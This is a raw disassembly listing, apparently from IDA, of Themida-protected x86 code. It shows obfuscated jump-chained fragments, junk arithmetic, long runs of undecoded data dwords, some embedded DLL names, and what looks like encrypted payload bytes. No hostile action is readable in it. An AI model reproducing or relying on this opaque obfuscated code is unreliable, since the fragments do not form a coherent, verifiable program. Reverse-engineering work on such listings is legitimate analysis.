		db 5Ah,	1, 0CBh
		dd 1D3E9h, 0C8B6600h, 2BE06824h, 63E90000h, 0FFFFED5h
		dd 8B66C0B6h, 0E8682414h, 89000028h, 0F4E9243Ch
		db 0CBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564717:				; CODE XREF: Themida_:0055F3EBj
		sub	edi, ecx
		push	edx
		mov	edx, 670A0436h
		jmp	loc_552B58
; ---------------------------------------------------------------------------
		dd 5239C381h, 0EB813226h, 0AFB76D2Dh, 0FFC20CE9h, 4C281FFh
		dd 0E9000000h, 0FFFECE86h
; ---------------------------------------------------------------------------


loc_564740:				; CODE XREF: Themida_:0056234Bj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_55B6ED
; ---------------------------------------------------------------------------
		dw 5F25h
		dd 2D2E7031h, 8C34F87Ch, 0FF4B9AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564761:				; CODE XREF: Themida_:0055E1A5j
		mov	ecx, 0
		jmp	loc_55434B
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 0FFFFA26Dh
; ---------------------------------------------------------------------------


loc_564774:				; CODE XREF: Themida_:0055E288j
		pop	esp
		push	ecx
		jmp	loc_55ABF6
; ---------------------------------------------------------------------------
		db 89h
		dd 6606E9E2h, 3487FFFFh, 0C895C24h, 0C8B5424h, 4C48324h
		dd 0FEEC46E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564795:				; CODE XREF: Themida_:00555ACCj
		mov	[esp], ebx
		jmp	loc_5599EE
; ---------------------------------------------------------------------------
		db 35h,	0E3h, 1Dh
		dd 0C6896837h, 0E9DEF758h, 0FFFF2328h, 685DEB01h, 5144h
		dd 0FF506AE9h, 240489FFh, 0FEC280E9h, 0C8BF0FFFh, 70B168h
		dd 240C8900h, 0C102E954h, 685BFFFEh, 39EDh, 0B2241489h
		dd 0B4E952F6h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5647E3:				; CODE XREF: Themida_:00553654j
		add	esi, 30BB133Ch
		shr	esi, 7
		jmp	loc_55D749
; ---------------------------------------------------------------------------
		align 2
		dw 5AD1h
		dd 0FFD56CE9h, 4C481FFh, 0E9000000h, 0FFFFEFEFh, 0B60F6664h
		dd 23386802h, 14890000h, 6DB16824h, 0EC810000h,	4, 0E9242489h
		dd 0FFFF5576h, 0E904C183h, 0FFFEC12Fh, 5E95559h
		db 0B6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564833:				; CODE XREF: Themida_:00562835j
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_55448B
; ---------------------------------------------------------------------------


loc_564840:				; CODE XREF: Themida_:005519ADj
		mov	ebp, ecx
		pop	ecx
		xor	ebx, ebp
		pop	ebp
		jmp	loc_55B626
; ---------------------------------------------------------------------------


loc_56484B:				; CODE XREF: Themida_:0055EEB0j
		mov	esp, [esp]
		mov	[esp], ebx
		push	edx
		jmp	loc_56279A
; ---------------------------------------------------------------------------
		db 5
		dd 0FC03D016h, 2958C389h, 241C8BDAh, 4C481h, 28E90000h
		db 0B5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56486F:				; CODE XREF: Themida_:005547B8j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	edi, esi
		sub	edi, 7B937A6Dh
		pop	esi
		push	0
		jmp	loc_55CDF7
; ---------------------------------------------------------------------------


loc_56488C:				; CODE XREF: Themida_:00551083j
		mov	ebx, 119101A1h
		push	esi
		mov	esi, 9002475h
		add	ebx, esi
		pop	esi
		neg	ebx
		jmp	loc_56112C
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 33241C31h, 665C241Ch, 9C240CD3h, 0FEAF61E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5648B5:				; CODE XREF: Themida_:0055409Cj
		add	edx, 4E0D116Ch
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5508E8
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 1B76E900h, 0F681FFFFh, 5B54BEE6h, 0FF6FC7E9h
		dd 885958FFh, 0EC815AD4h, 4, 0FF5DB2E9h, 705FFh, 0D8F77A2Eh
		dd 3B4BE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5648FE:				; CODE XREF: Themida_:00551BC0j
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 0C669913Ch
		sub	ebp, eax
		pop	eax
		sub	ebx, ebp
		jmp	loc_563AB1
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8704EBh, 24248B24h, 54241489h, 4C2815Ah, 68000000h
		dd 5FDCh, 0FF66F9E9h, 243C8BFFh, 4C481h, 0ABE90000h, 54FFFF8Dh
		dd 4C18159h, 50000000h,	74FC6853h, 0C15B396Bh, 0F38103E3h
		dd 0CB5BA7E4h, 0E95BD889h, 0FFFF1AF8h, 0C103E5C1h, 0ED8102EDh
		dd 4FA02CE9h, 0FEEA30E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564975:				; CODE XREF: Themida_:0054F828j
		add	esp, 4
		jmp	loc_551F4E
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 0C7830000h, 243C8704h, 3124248Bh, 0F7E92404h
		db 20h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564997:				; CODE XREF: Themida_:0055478Dj
		push	edx
		jmp	loc_554AF6
; ---------------------------------------------------------------------------


loc_56499D:				; CODE XREF: Themida_:00552A1Cj
		pop	esp
		jmp	loc_55496E
; ---------------------------------------------------------------------------
		db 8Fh
		dd 4832404h, 535E0424h,	1D8CBD55h, 90BB569Ch, 29569C1Dh
		dd 0B9515DEBh, 5433326Bh, 0C181D1F7h, 0C0D78E12h, 5159CE01h
		dd 0FF169CE9h, 0AE40E9FFh, 895CFFFEh, 30BE2434h, 0E9610F26h
		dd 0FFFEB84Fh, 0F359E95Ah, 0C483FFFEh, 40E95F04h, 8BFFFFA8h
		dd 0F4E92424h, 8BFFFFE6h, 0C481242Ch, 4, 0FFF139E9h, 0D6CA81FFh
		dd 81145323h, 971D17E2h, 8DB5E938h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564A1A:				; CODE XREF: Themida_:0055A565j
		xchg	ebp, [esp]
		pop	esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_555DEA
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 4C48124h, 68000000h, 444Ah, 89241489h, 4C281E2h
		dd 81000000h, 4C2h, 24148700h, 0FF7D37E9h, 0BF575CFFh
		dd 7334DFBh, 6248CF81h,	0C78121DCh, 25E56FFh, 2557F781h
		dd 0E78166A1h, 10F463Bh, 4227BB53h, 7AE9000Ch
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564A83:				; CODE XREF: Themida_:00559C2Cj
		add	al, ch
		pop	ecx
		jmp	loc_555C51
; ---------------------------------------------------------------------------
		db 68h
		dd 5D2B776Fh, 4E3C15Bh,	0FF94F9E9h, 240C89FFh, 0FFECE9E9h
		dd 0E78957FFh, 0FFF457E9h, 72D4B9FFh, 0CF892AE2h, 0E9FA2959h
		dd 0FFFFECC0h, 5E54565Ah, 0FEDE72E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564AC1:				; CODE XREF: Themida_:00551447j
		push	ax
		pushf
		jmp	loc_54F816
; ---------------------------------------------------------------------------
		db 4, 9Ch, 4
		dd 0F00DE901h, 0F701FFFFh, 4C7835Eh, 31243C33h,	3C33243Ch
		dd 24248B24h, 1A68C331h, 89000043h, 73BE2434h, 13BF927h
		dd 24348BF2h, 8304C483h, 3C8904ECh, 0A2BD5524h,	0BF5BB66Fh
		dd 75682266h, 815DEF31h, 185B8CC2h, 4CA0E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564B1A:				; CODE XREF: Themida_:0055D6CFj
		add	cl, 6
		xor	dl, cl
		jmp	loc_5506E6
; ---------------------------------------------------------------------------


loc_564B24:				; CODE XREF: Themida_:0055CE04j
		mov	ecx, 0C50ADD72h
		sub	edi, ecx
		jmp	loc_55743F
; ---------------------------------------------------------------------------
		dd 81243C8Bh, 4C4h, 56EBD100h, 6624A7BEh, 0BEBF575Bh, 21193302h
		dd 65E95FFEh, 0FFFFFF30h, 68592434h, 70E6h, 89240489h
		dd 0BF5755E0h, 2F1E6CCFh, 0FF140CE9h, 0C0D6F6FFh, 0F1E906EEh
		dd 81FFFF95h, 4C4h, 0EC815000h,	4, 0BE243489h, 5F6B1039h
		dd 348BF089h, 4C48124h,	68000000h, 77F7h, 0F7240489h, 68E9241Ch
		dd 1FFFF9Eh, 0F1C381C3h, 8B7F5E6Fh, 0C4832404h,	23D26804h
		dd 34890000h, 34FF5424h, 85ADE924h, 0C483FFFFh,	74FF5604h
		dd 0D5E90424h, 35FFFF4Ch, 18436EA6h, 895C9335h,	13F8E944h
		dd 248BFFFFh, 97E95224h
		db 44h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564BE7:				; CODE XREF: Themida_:005544E8j
		pop	edx
		jmp	loc_5543DA
; ---------------------------------------------------------------------------
		db 0C0h, 0E8h, 4
		dd 0C380402Ch, 3E24E9EBh, 9F68FFFFh, 0E9000055h, 0FFFFDA6Fh
		dd 8F04C483h, 0A4E92404h
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564C0F:				; CODE XREF: Themida_:00557B0Bj
		pop	esi
		push	ebp
		mov	ebp, 7FD977D2h
		sub	ebp, 413B2618h
		xor	ebp, 23C12D6h
		xor	ebp, 3B393E68h
		and	ebp, 786A081Ah
		add	ebp, 0E9E9F721h
		jmp	loc_550BB1
; ---------------------------------------------------------------------------


loc_564C39:				; CODE XREF: Themida_:0055D069j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		sub	dword ptr [edi+20h], 538322FDh
		push	dword ptr [edi+20h]
		dec	dword ptr [esp]
		pop	dword ptr [edi+20h]
		push	ebp
		mov	ebp, 0AFE113DCh
		sub	[edi+20h], ebp
		mov	ebp, [esp]
		jmp	loc_55F413
; ---------------------------------------------------------------------------
		dd 0BD55E389h, 281C6A56h, 0FFB870E9h, 59CA29FFh, 2414875Bh
		dd 0E924248Bh, 0FFFFF5E5h, 32B96855h, 24890000h, 24048324h
		dd 2434FF04h, 4C4815Dh,	81000000h, 4C5h, 0C2E95100h, 89FFFF1Ah
		dd 0ACB5240Ch, 0CD80E5D0h, 0E9E5D068h, 0FFFF8B5Dh, 4C481h
		dd 1FE90000h, 81FFFF6Ch, 4EDh, 0F6E95500h, 83FFFEEEh, 143302C2h
		dd 1B19E924h, 0EC83FFFFh, 243C8904h, 0FF0826E9h, 60EB80FFh
		dd 0FF6443E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564CE9:				; CODE XREF: Themida_:00554B1Bj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		jmp	loc_5642E9
; ---------------------------------------------------------------------------
		dw 0C500h
		dd 0BF686658h, 7F23E903h, 2C8BFFFFh, 8B545224h,	1BE92414h
		dd 1FFFEB0h, 0FEEA81CAh, 597D193Ah, 0E9241487h,	0FFFF973Eh
; ---------------------------------------------------------------------------


loc_564D20:				; CODE XREF: Themida_:0055D11Ej
		push	ecx
		mov	edx, [esp]
		push	0AD4h
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 1B7417BAh
		and	ebp, 0DB851F9h
		neg	ebp
		jmp	loc_55814D
; ---------------------------------------------------------------------------


loc_564D41:				; CODE XREF: Themida_:00561F5Cj
		pop	ecx
		add	esp, 4
		xor	ebx, 7F4D2AD9h
		add	eax, ebx
		pop	ebx
		push	1D0h
		mov	[esp], ecx
		push	2
		pop	ecx
		add	eax, 230E5750h
		add	eax, ecx
		jmp	loc_5565E5
; ---------------------------------------------------------------------------
		db 0F7h
		dd 7DEE81DEh, 8174087Ah, 0C001DE6h, 77EE8140h, 0E96C34F6h
		dd 0FFFFB099h, 0F702E0C1h, 0E0D148D0h, 7A18E335h, 0E9C78930h
		dd 0FFFEFFA1h, 9CB15166h, 2DE9C800h, 58FFFFEEh,	0FFA232E9h
		dd 84EE81FFh, 0E9692F3Bh, 0FFFF82DDh, 83242489h, 8B042404h
		dd 7AE92434h
		db 29h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564DC3:				; CODE XREF: Themida_:00551825j
		pop	ecx
		push	edx
		mov	edx, 5F925B8Fh
		and	edx, 59136A62h
		add	edx, 0E029CDB3h
		sub	ecx, edx
		pop	edx
		add	ecx, 13317848h
		add	ecx, eax
		sub	ecx, 13317848h
		add	ecx, 393C17B5h
		jmp	loc_56291C
; ---------------------------------------------------------------------------
		dw 0FA29h
		dd 0FF19A5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564DF9:				; CODE XREF: Themida_:00550361j
		pop	ecx
		push	edi
		mov	edi, 2B496203h
		xor	edi, 19523A48h
		neg	edi
		jmp	loc_555660
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 0E9243C31h, 0FFFF21E9h
; ---------------------------------------------------------------------------


loc_564E18:				; CODE XREF: Themida_:005615F4j
		mov	eax, 90C1F0ACh
		mov	edx, eax
		pop	eax
		add	edx, ebp
		pop	ebp
		jmp	loc_5565EB
; ---------------------------------------------------------------------------
		dd 6EF4EF81h, 0C78110BDh, 3CF90EB0h, 4C7835Ah, 2474FF57h
		dd 243C8B04h, 8F04C483h, 248B2404h, 0E6895624h,	4C681h
		dd 0C6810000h, 4, 2474FF56h, 4B40E904h,	8953FFFFh, 4C381E3h
		dd 83000000h, 1C8704C3h, 0C7815C24h, 4,	4BD55h,	0EF290000h
		dd 53242C8Bh, 0FFECCAE9h, 4EC81FFh, 89000000h, 8B542434h
		dd 0C4812434h, 4, 4C681h, 54530000h, 0FF756EE9h, 0A9C181FFh
		dd 8120040Ah, 7A5D57C1h, 59C889E0h, 0D8F7D8F7h,	0E904E0C1h
		dd 0E4h
; ---------------------------------------------------------------------------


loc_564EC4:				; CODE XREF: Themida_:00554971j
		mov	edx, 623170FCh
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		pop	esi
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_5579D4
; ---------------------------------------------------------------------------
		dw 495Fh
		dd 2F2EC981h, 62E963ECh, 0BBFFFF30h, 69B675C5h,	0FEFA89E9h
		dd 71E6BEFFh, 0F681795Dh, 438BC9BAh, 0FEFDCCE9h, 3D2EBBFFh
		dd 0D3F7459Dh, 0FAE9E3D1h
		db 38h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564F27:				; CODE XREF: Themida_:005557E4j
		pop	ecx
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55D764
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5407F281h, 0D029E576h, 2434FF5Ah, 0E289525Dh, 0FF206CE9h
		dd 90E959FFh, 89000000h, 1FBE2434h, 0E95E4231h,	0FFFF97DCh
; ---------------------------------------------------------------------------


loc_564F5C:				; CODE XREF: Themida_:005542C4j
		pop	eax
		push	edx
		mov	edx, 0A70D99C7h
		jmp	loc_554D00
; ---------------------------------------------------------------------------
aRarwv		db 'AwV',0
		dd 29000000h, 5EF389DEh, 0DC19F381h, 0FAE9ABF1h, 55FFFF2Ch
		dd 6DA76852h, 815A445Ah, 0E28A5F2h, 4EC8342h, 0BB241C89h
		dd 31DF16E5h, 1AF8EB81h, 0E9517E12h, 0FFFEDAC7h, 2646DF35h
		dd 70E94829h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564FB3:				; CODE XREF: Themida_:0055A5A9j
		sub	bx, bp
		pop	bp
		sub	bx, 11h
		push	si
		mov	si, 6147h
		add	bx, 7D3Dh
		add	bx, si
		sub	bx, 7D3Dh
		mov	si, [esp]
		add	esp, 2
		add	bx, ax
		jmp	loc_55925B
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24048F00h, 0E924248Bh,	0FFFF20FCh, 0B8240489h
		dd 6CAE4E8Eh, 0FEF52AE9h, 5536EBFFh, 33524553h,	6C642E32h
		dd 4441006Ch, 49504156h, 642E3233h, 4E006C6Ch, 4C4C4454h
		dd 6C6C642Eh, 907D700h,	0A000100h, 2000200h, 0F2001100h
		dd 0AE9EB901h, 92DE95Eh, 74680000h, 0E906099Dh,	0FFFDE0DAh
		dd 99DF568h, 0E0D0E906h, 2768FFFDh, 0E906099Fh,	0FFFDE0C6h
		dd 9A06368h, 0E0BCE906h, 0E768FFFDh, 0E90609A0h, 0FFFDE0B2h
		dd 9A1F968h, 0E0A8E906h, 7B68FFFDh, 0E90609A2h,	0FFFDE09Eh
		dd 2A321679h, 638BDD37h, 0B0D88EEEh, 0C810445Dh, 46C3815h
		dd 96A79F5h, 0FBDE335Bh, 0B6904D95h, 6D4598E0h,	0A440DF27h
		dd 457E35Bh, 0B933A303h, 95F38C69h, 6C290AC0h, 9C0F34EFh
		dd 163FE94h, 0FDADD95Fh, 0F0C06198h, 0FB565D64h, 74FC99Fh
		dd 0DE87CD47h, 98CC2504h, 20C132C8h, 0B6D0E9C9h, 2117795Bh
		dd 0C688E865h, 88741450h, 0B3D8CA7Eh, 50B340E9h, 165E1600h
		dd 88DE68EEh, 43C631EBh, 27D6EE37h, 8EE4451Fh, 455DB0D8h
		dd 0B749061Fh, 75EB293Eh, 77B18h, 0A9FFD600h, 0E2B48C41h
		dd 3F69479Ah, 77DD3AD7h, 0C391F26Fh, 0C3E09ABBh, 0B7AAB2E6h
		dd 69E40C5Ch, 223F470Dh, 0D9769EC4h, 567A3C3Fh,	0AA3A0304h
		dd 1E44A2D0h, 1B588E18h, 0CAF3FB41h, 0CA40A5A6h, 0A5F7401Ah
		dd 770F32B0h, 3816A89h,	0DF8FD6E0h, 0CDA0D523h,	17F43C65h
		dd 0AD9335EFh, 0B9658990h, 67FAAAF1h, 0D8355D0Bh, 33AEA8FEh
		dd 9A1C1FD3h, 0DA0304DDh, 0E6ABA2EAh, 9203133Ch, 6FAC19Ch
		dd 70570000h, 370DC028h, 0E8C41961h, 5ABB56BEh,	1673EEF6h
		dd 5F1B3A42h, 0D53D6B44h, 6F77D938h, 0BAC290F2h, 0F1194FA7h
		dd 5B9BA5Eh, 45030456h,	4E567DDh, 0AA0CEF2Bh, 0EA050DCBh
		dd 6FF292DAh, 0B68B4117h, 0DC5A0A50h, 393F657Dh, 0A980748Eh
		dd 0E5ED3C43h, 0B96911F6h, 0DB1874D3h, 583BAFh,	0A2390000h
		dd 7441D844h, 448F0B34h, 0BC7EF41Ch, 50DCBFEh, 3157C7DFh
		dd 7246F8ACh, 0E7BDC50Dh, 0B9A4F419h, 9030C2FFh, 0C422ACBAh
		dd 0A4EC989Eh, 0A7400DEEh, 0FC960F34h, 0A45BB03h, 1BCBFB03h
		dd 0E3855F67h, 0D5C1201Dh, 1FCFD484h, 6A722002h, 4BCD9BF7h
		dd 64332h, 44A24E00h, 588E181Eh, 9F6411Bh, 0B90F34F2h
		dd 2412445Ch, 9F02F6A6h, 2068FBEBh, 0AF8822F8h,	30ACA17h
		dd 90F26F57h, 17CA02C2h, 0FB01693Fh, 2C12C8EDh,	5D996600h
		dd 6C36D6C4h, 356FCA93h, 0DEFC0A09h, 0EDA943D6h, 0A5845E86h
		dd 59F31B49h, 1AB0E6C0h, 3BFA519h, 0DDDE505h, 2112D630h
		dd 503BF9Dh, 1E78D5DDh,	5E86CE48h, 331979D8h, 0DDE81DAh
		dd 0A03D3309h, 5C8h, 9EE6A285h,	0D73F6143h, 648CDA3Ah
		dd 0BCC488E9h, 0C81044A1h, 55B62D29h, 0F6AE70Fh, 0C2DC3159h
		dd 0B1914C94h, 680C83EBh, 454378Fh, 15EF7703h, 181E44A2h
		dd 5F359B9h, 3CBC3042h,	50DC960h, 6CBE9A60h, 2B06AFDAh
		dd 74CB9BCDh, 0FFFFFEEBh, 1E44A2F0h, 1B588E18h,	0DACFFB41h
		dd 0D6AD7942h, 77CA6C36h, 9A99491Fh, 0F34B899h,	74CA35CFh
		dd 34030A92h, 90A05C0Ch, 5E0A67FAh, 56BC468Eh, 0E3E4570Dh
		dd 830933A9h, 71CA45B3h, 50050D8Bh, 0A8292F71h,	72100648h
		dd 4521866Eh, 9FE46B41h, 66AFDAA7h, 1B4h, 0F38C69E2h, 290AC095h
		dd 0F34EF6Ch, 0D341949Ch, 9F74F66Dh, 6B3B8F04h,	64782B88h
		dd 0DE87CD5Dh, 98CC2504h, 6C36D69Eh, 9A1977CAh,	0E2A2EAB8h
		dd 0E941E001h, 63DC76D0h, 0DCD742DBh, 0FC746D9Bh, 1D9A3209h
		dd 0AC4935D5h, 14ACC454h, 0B0888F45h, 9EC68E88h, 9BD80E98h
		dd 0D6F376C1h, 4BB1D6EEh, 0DB5324BEh, 0C4B86894h, 0EBCB26FCh
		dd 0C25FE5A5h, 0FC56BEE4h, 0B555031Dh, 0F3D14AA8h, 21FBABADh
		dd 0D05260D6h, 0E81020DAh, 3EBA3071h, 1F7EF429h, 48Ch
		dd 52BAEEC1h, 0EBF3A5BFh, 38401676h, 7098CC25h,	8CD4809Dh
		dd 91F2F16Dh, 43A6BBC3h, 3E18F51Dh, 0F5CD0068h,	2CC847AFh
		dd 46B6BD3h, 0C1BB2B03h, 6C267F95h, 326FB993h, 7F151D0Fh
		dd 8E6903A5h, 3045728h,	63DB5868h, 23030457h, 8CEE7313h
		dd 47A3BEC6h, 73F57B11h, 8C93A9Ch, 0AE78876h, 0A7A19C4Eh
		dd 3DD701E7h, 0A492C4DCh, 0A3CB73E0h, 0BB8B0304h, 6A3016EBh
		dd 12EABCF3h, 0EB827803h, 408h,	0DE266245h, 177F2103h
		dd 0A4CC9AFAh, 0FC0448A9h, 8500461h, 15766DE9h,	0CF2A274Fh
		dd 829C7199h, 71518CD4h, 0A84CC32Bh, 46BF74Fh, 552FB703h
		dd 0E8CB44A2h, 0D244106Dh, 0A0E46A92h, 0AB009A0h, 7CDD5B83h
		dd 0DB89E566h, 77E1295Dh, 0A381983Ch, 0C3292DFDh, 0DA19B35h
		dd 7BC19B05h, 0BA229F6Fh, 7AAB954Eh, 0D5E41FE0h, 83C18B5Bh
		dd 4DAFDAC5h, 140292ECh, 0D08EF939h, 76C999C1h,	0FFFFFCFBh
		dd 1E44A2F2h, 1B588E18h, 9AD5F641h, 4D750F34h, 0BC02FD97h
		dd 0FC030AE4h, 6FC14B4h, 8AEE43E5h, 211252C4h, 50DCB9Dh
		dd 0E335D5DDh, 3360661Dh, 0EFE19E99h, 21110F34h, 9CEF856Bh
		dd 0F2F53D96h, 30DE6D0Ch, 0C585ACBEh, 44DF4980h, 0BF8DAB23h
		dd 0F56B84B6h, 808A5A2Ah, 0F87B1142h, 0A124061Bh, 0B9D9BABh
		dd 71C298DDh, 0A7235FFEh, 19F0AA9Ah, 0F4A2823Dh, 0EB461CCCh
		dd 0A0BDC58Bh, 9AD8E42h, 49AB1D3Fh, 9DD83179h, 5B5B0B5Eh
		dd 2F688E5h, 745B0000h,	3311CC14h, 0ECC8056Dh, 0A6BF52BAh
		dd 1A77EAF2h, 5B17264Eh, 0D1396F48h, 6B73253Ch,	0A6CE94F6h
		dd 0FD054BABh, 1B58622h, 4103046Ah, 7F955BD1h, 0A3936C26h
		dd 130F326Fh, 64D76923h, 30457D2h, 7FC73092h, 3F030457h
		dd 451FCFF7h, 386E4EA3h, 0EBB99568h, 96FFCB31h,	3FDE3492h
		dd 0BAD676Fh, 4D19628h,	73EED603h, 90D44216h, 43116DF0h
		dd 386E44D5h, 13389E21h, 0ADC04603h, 274h, 4A92F6D9h, 83EBBD97h
		dd 0D0386E4Eh, 6870243Dh, 0A4CC98F5h, 0E9CAD995h, 5BBE53BBh
		dd 1670EDF5h, 0CD253840h, 4A07F87h, 469833Bh, 0D953C303h
		dd 6C267F95h, 4C1C77CAh, 6FAF9F9Ch, 0D11F0F32h,	1C577ECEh
		dd 31EB1315h, 4C94FAD8h, 48187BD6h, 4CC686CEh, 0B6845E05h
		dd 534C94C5h, 663CECB8h, 4FD1795h, 0DD5B6B03h, 9C1263Bh
		dd 4FD882Eh, 0B0F8C803h, 64300D10h, 8FE801F2h, 7D3D03D9h
		dd 2D7B20C9h, 62C24E4h,	7DFE94C3h, 3046181h, 0CA57C1F1h
		dd 4AECA6ECh, 46155E9h,	7D2D1503h, 83E378FBh, 111FB5DDh
		dd 0A19B584h, 0B885457Fh, 5C02F45Ah, 0E4C8CC05h, 1E662C0Ah
		dd 0E7BDE3C3h, 0F648AB4Dh, 0B6030496h, 96298D8Eh, 8C690304h
		dd 0E8B8E0B6h, 0C132D40Eh, 304967Dh, 0C855F53Dh, 22BFB9EFh
		dd 3C6A4AC5h, 5C8402F4h, 0E5713585h, 51071FF2h,	42AA80E7h
		dd 0DD054BA8h, 0C6981C46h, 97166FE0h, 3D69EFB9h, 1B4303F5h
		dd 913D1EF3h, 684E9EB7h, 666FBBCh, 66AEE650h, 0EACB26F0h
		dd 54F4B0A6h, 0CF273B02h, 24029F99h, 2A4EF87Eh,	5D41FDC2h
		dd 0FEAA8757h, 0C7DD3C96h, 136CF191h, 74E2B490h, 0D40E0830h
		dd 0E1550C66h, 0A29D9C54h, 304891Ch, 312C545Ch,	7CC181D7h
		dd 57C23462h, 0A8292F79h, 0AD100648h, 0C82BC329h, 940E5098h
		dd 71489CA6h, 0BDBA888h, 3815E5CFh, 0E9C9046Ch,	7A3AB5A3h
		dd 14BB91EFh, 0F0D6A80Ch, 7E0AF0AAh, 9ED81776h,	825FB757h
		dd 98C82BA4h, 9A6D109Eh, 0F77E3830h, 9187CFh, 1A877127h
		dd 71E0563Ch, 62CB4D13h, 6278C60h, 7056288Ch, 370FC22Ah
		dd 63F48EA7h, 9310712h,	0F6AFA50Fh, 0F0E6E35Ch,	4AB0B14Eh
		dd 9CFECD48h, 1A0440B6h, 0F1421B63h, 0BD70894Dh, 2DFD250Dh
		dd 76CB81B1h, 99CD4B11h, 6D7B81C9h, 0A5A19248h,	0F3B74F2Dh
		dd 0BB92E20Dh, 0F0AA14A5h, 7972BF07h, 17B7FFBBh, 7CDD5B6Bh
		dd 0F61EF666h, 357DFED7h, 9AFA570Dh, 5EF41CCCh,	0EE03BB84h
		dd 7343BB79h, 34D4BA9Eh, 9583C929h, 20B60E1Ah, 6B3D1B62h
		dd 43156CEDh, 50A4BED5h, 0F4F8DA6Bh, 0E563C1Ah,	0ABADF3D3h
		dd 0C983C92Eh, 0D672C437h, 232E3DEh, 0C86E442h,	9680D42Dh
		dd 0E2CA0EDEh, 1C642A08h, 0BDBBE1C1h, 320h, 0FF795800h
		dd 1B1D4BA2h, 4F258BEh,	6DEBB995h, 55C395ECh, 0BBBDEBC4h
		dd 0A197FDDEh, 8B8DD330h, 0FE782E0Eh, 0D95F0163h, 0E7895732h
		dd 4C781h, 0BB530000h, 4, 875BDF29h, 505C243Ch,	405E089h
		dd 83000000h, 48704E8h,	34895C24h, 1A9A6824h, 4890000h
		dd 6503BE24h, 0F6816610h, 199373CAh, 8E6C146h, 5303E6C1h
		dd 804C93BBh, 0EFF3812Bh, 8163AD07h, 5E1F8FE3h,	8FEB816Ch
		dd 810F9F07h, 3D6F55EBh, 3EB8142h, 29E382E1h, 8B545BDEh
		dd 0C4812404h, 4, 8B951h, 0E9810000h, 51A0797Fh, 0C181C101h
		dd 51A0797Fh, 0FF593189h, 81582434h, 4C4h, 2434FF00h, 4C4815Eh
		dd 0E9000000h, 0FFFDD7C2h, 1CF8DAC2h, 4B007F57h, 0B8B10507h
		dd 609A514h, 0E0FFC503h, 0ECB5660h, 5B33D78Eh, 568DD0F3h
		dd 7D74083Ah, 753D0AADh, 1EAA0727h, 1918D698h, 578D7D7Ch
		dd 1DB7F52h, 64196887h,	1316BED0h, 34CF5AF3h, 24D86654h
		dd 27D55AEFh, 6D112C8Ah, 65F275E2h, 5B7AA23Dh, 36098353h
		dd 70E34311h, 16784D81h, 0AE9776Bh, 626DF862h, 0AE8h, 0BF95300h
		dd 14E851A1h, 666FEE2Bh, 585012BAh, 32B1B966h, 5EF8C081h
		dd 0C7800000h, 0F5F63313h, 0B70634FFh, 10E95FF3h, 0A4000000h
		dd 316BAE54h, 3865897Eh, 690E5444h, 814D13A0h, 95371AC7h
		dd 0DA81662Ch, 0EF81EA90h, 6C9A6B2Ch, 0F6C98166h, 37C781E0h
		dd 661C670Ah, 3C89D78Bh, 755DBB30h, 0B70F21F1h,	0D4EE81D3h
		dd 662418ECh, 0C681D68Bh, 2418ECD0h, 0C542D381h, 0FE816C96h
		dd 0FFFFA18Ch, 0FF9A850Fh, 8B66FFFFh, 73E9CFh, 83600000h
		dd 70C79BDh, 840F0006h,	5, 5EE9h, 80006A00h, 850F303Eh
		dd 8, 0E946006Ah, 35h, 0F333E80h, 885h,	46106A00h, 24E9h
		dd 343E8000h, 8850Fh, 306A0000h, 13E946h, 3E800000h, 8850F35h
		dd 6A000000h, 2E94640h,	6A000000h, 0D5858D00h, 5006072Dh
		dd 50240489h, 6A243489h, 0A595FF00h, 61060719h,	4D85C6C3h
		dd 4D06071Ch, 288CA968h, 24048173h, 310CE9FFh, 16BDB5FFh
		dd 858D0607h, 6073A13h,	8589D0FFh, 60719A5h, 7E8h, 0A9FAD00h
		dd 929B0CE3h, 8D5958Bh,	0B9580607h, 22D1051Ch, 64CEC081h
